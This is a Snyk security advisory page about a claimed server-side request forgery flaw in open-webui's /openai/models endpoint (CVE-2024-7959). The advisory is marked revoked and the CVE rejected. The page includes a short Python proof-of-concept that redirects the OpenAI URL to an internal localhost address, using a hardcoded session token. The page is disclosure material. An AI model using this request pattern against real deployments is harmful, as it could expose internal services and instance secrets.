Server-side Request Forgery (SSRF) The advisory has been revoked - it doesn't affect any version of package open-webui (opens in a new tab)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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- published10 Apr 2025
- disclosed20 Mar 2025
- creditOussama
Introduced: 20 Mar 2025
CVE-2024-7959 (opens in a new tab)How to fix?
Upgrade open-webui to version 0.3.17 or higher.
Amendment
This was deemed not a vulnerability.
Overview
open-webui is an Open WebUI
Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the /openai/models endpoint. An attacker can manipulate the OpenAI URL to any destination without validation, enabling the endpoint to initiate requests to the specified URL and relay the response. This vulnerability permits unauthorized access to internal services and could potentially allow command execution by accessing instance secrets.
Note: CVE-2024-7959 was rejected by the CVE List.
PoC
import requests
cookies = {
'token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Ijk3ZjBmZmYxLTExZDgtNDRmYS04YzM0LTdhZTRmOGIxZjg3OCJ9.1m79MCRwHM25ThaN4j6YZArdXc9YOQ8SUJyAsPVStFk',
}
headers = {
'Content-Type': 'application/json',
'Accept': 'application/json',
}
json_data = {
"urls": ["http://localhost:8888/poc?"]
}
response = requests.post('http://localhost:3000/openai/urls/update', cookies=cookies, headers=headers, json=json_data)
response = requests.get('http://localhost:3000/openai/models/0', cookies=cookies, headers=headers)
print(response.text)